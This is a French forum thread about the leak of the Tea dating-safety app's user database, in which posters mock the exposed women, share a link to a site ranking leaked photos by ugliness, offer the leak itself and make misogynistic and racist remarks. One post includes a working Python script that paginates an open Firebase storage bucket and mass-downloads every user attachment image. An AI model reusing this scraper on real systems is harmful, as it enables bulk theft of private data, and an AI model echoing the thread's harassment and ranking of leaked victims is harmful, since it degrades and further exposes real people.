Ce sujet a été résolu
Zardoz
1j
Et si on faisait une app pour afficher les chieuses ?
Bah pas besoin du coup. Elles se sont fichées elles-mêmes
il y a un jour
Klaosuen
1j
C'est quoi l'application exactement
j'ai vu passé sur tiktok jcroyais c'était un réseau de rencontre lesbien comme grindr pour les gays
j'ai vu passé sur tiktok jcroyais c'était un réseau de rencontre lesbien comme grindr pour les gays
il y a un jour
il y a un jour
AhuriKJ
1j
Pour ceux qui n'ont pas suivi :
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
https://www.bfmtv.com/tec[...]rton_AV-202507250354.html
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
https://spill.info.gf/index.php
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
Faut vraiment un dev de merde pour foutre la base de données sur un serveur public
Mon site https://retsukoforum.neocities.org/ // youtube https://www.youtube.com/@retsukoforum
il y a un jour
Zardoz
1j
Et si on faisait une app pour afficher les chieuses ?
un application et un livre spéciale basé sur la morphopsychologie .
j'ai lu un peut sur la morphopsycho en pensant que c'était un peut de la merde , mais la.....
j'ai lu un peut sur la morphopsycho en pensant que c'était un peut de la merde , mais la.....
il y a un jour
Vraiment le fond des chiottes 4 chan
https://spill.info.gf/index.php
J'ai le lien du leak si vous voulez meme si tout est sur le site
il y a un jour
Beaucoup plus de noir d'un côté que de l'autre
C'est uniquement que de la blanche
putain notre race est vraiment pourrie jusqu'à l'os
C'est uniquement que de la blanche
PAYSAN-chan
qui pompe 200k€ de PAC, mieux que ton RSA
il y a un jour
Vraiment le fond des chiottes 4 chan
https://spill.info.gf/index.php
J'ai le lien du leak si vous voulez meme si tout est sur le site
mais ayaaaaaaaaa

il y a un jour
Vraiment le fond des chiottes 4 chan
https://spill.info.gf/index.php
J'ai le lien du leak si vous voulez meme si tout est sur le site
il y a un jour
Excellent résumé.
il y a un jour
Systeme d'elo , tu note la plus bonne ou celle sur la photo d'id
il y a un jour
AhuriKJ
1j
Pour ceux qui n'ont pas suivi :
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
https://www.bfmtv.com/tec[...]rton_AV-202507250354.html
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
https://spill.info.gf/index.php
Tea est une application pour des femmes, codées par des femmes pour dénoncer les hommes toxiques de son coin avec une carte etc...
Source :
Sauf que GROSSE ERREUR la base de données utilisateur de l'appli était accessible avec un lien.
Donc je vous laisse admirer les utilisatrices de cette app :
EDIT : vous pouvez choisir qui est la plus moche avec ce jeu :
Ayaaaa comment tu peu même exposer ta bdd aussi facilement je comprends pas
Même crypté les infos c'est la base putain, on fesait ça y a 20 ans déjà
A quel point faut coder avec le cul pour faire ça, on dirait que c'est fait exprès limite
Même crypté les infos c'est la base putain, on fesait ça y a 20 ans déjà
A quel point faut coder avec le cul pour faire ça, on dirait que c'est fait exprès limite
il y a un jour
Toutes des gros thons, à part l'espèce d'asiate/rebeu en bas de la deuxième colonne.
il y a un jour
Systeme d'elo , tu note la plus bonne ou celle sur la photo d'id
Oui je sais mais quand les deux sont horribles on fait comment
il y a un jour
Ayaaaa comment tu peu même exposer ta bdd aussi facilement je comprends pas
Même crypté les infos c'est la base putain, on fesait ça y a 20 ans déjà
A quel point faut coder avec le cul pour faire ça, on dirait que c'est fait exprès limite
Même crypté les infos c'est la base putain, on fesait ça y a 20 ans déjà
A quel point faut coder avec le cul pour faire ça, on dirait que c'est fait exprès limite
Voici le script python utilisée pour ce "hack" pour info
import os
import requests
import asyncio
import aiohttp
OUTPUT_DIR = 'dump'
BASE_URL = '
https://firebasestorage.g[...]he-app.appspot.com/o/';
MAX_CONCURRENT = 32
if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)
# Step 1: Collect all image items from all pages
all_items = []
pageToken = ''
while True:
resp = requests.get(BASE_URL, params={'pageToken': pageToken} if pageToken else {})
if resp.status_code != 200:
print("Page request failed, code {}".format(resp.status_code))
break
resp_json = resp.json()
items = resp_json.get('items', [])
all_items.extend([item for item in items if item['name'].startswith('attachments/')])
pageToken = resp_json.get('nextPageToken')
if not pageToken:
break
print("Found {} image(s) to download.".format(len(all_items)))
# Step 2: Async download logic
async def download_image(session, item):
fname = item['name']
filename = fname.split('/')[1] + '.jpg'
outpath = os.path.join(OUTPUT_DIR, filename)
if os.path.isfile(outpath):
return "[SKIP] {}".format(filename)
url = BASE_URL + fname.replace('/', '%2F')
for attempt in range(3):
try:
async with session.get(url, params={'alt': 'media'}) as resp:
if resp.status != 200:
continue
with open(outpath, 'wb') as f:
while True:
chunk = await resp.content.read(16384)
if not chunk:
break
f.write(chunk)
return "[OK] {}".format(filename)
except Exception as e:
if attempt == 2:
return "[FAIL] {} ({})".format(filename, e)
return "[FAIL] {} (unknown error)".format(filename)
async def main(all_items):
connector = aiohttp.TCPConnector(limit=MAX_CONCURRENT)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [download_image(session, item) for item in all_items]
for f in asyncio.as_completed(tasks):
print(await f)
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main(all_items))
print("Done.")
import os
import requests
import asyncio
import aiohttp
OUTPUT_DIR = 'dump'
BASE_URL = '
MAX_CONCURRENT = 32
if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)
# Step 1: Collect all image items from all pages
all_items = []
pageToken = ''
while True:
resp = requests.get(BASE_URL, params={'pageToken': pageToken} if pageToken else {})
if resp.status_code != 200:
print("Page request failed, code {}".format(resp.status_code))
break
resp_json = resp.json()
items = resp_json.get('items', [])
all_items.extend([item for item in items if item['name'].startswith('attachments/')])
pageToken = resp_json.get('nextPageToken')
if not pageToken:
break
print("Found {} image(s) to download.".format(len(all_items)))
# Step 2: Async download logic
async def download_image(session, item):
fname = item['name']
filename = fname.split('/')[1] + '.jpg'
outpath = os.path.join(OUTPUT_DIR, filename)
if os.path.isfile(outpath):
return "[SKIP] {}".format(filename)
url = BASE_URL + fname.replace('/', '%2F')
for attempt in range(3):
try:
async with session.get(url, params={'alt': 'media'}) as resp:
if resp.status != 200:
continue
with open(outpath, 'wb') as f:
while True:
chunk = await resp.content.read(16384)
if not chunk:
break
f.write(chunk)
return "[OK] {}".format(filename)
except Exception as e:
if attempt == 2:
return "[FAIL] {} ({})".format(filename, e)
return "[FAIL] {} (unknown error)".format(filename)
async def main(all_items):
connector = aiohttp.TCPConnector(limit=MAX_CONCURRENT)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [download_image(session, item) for item in all_items]
for f in asyncio.as_completed(tasks):
print(await f)
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main(all_items))
print("Done.")
il y a un jour
C'est ce que j'allais dire
il y a un jour
Oui je sais mais quand les deux sont horribles on fait comment
Principe d'un classement enfaite , faut départager
il y a un jour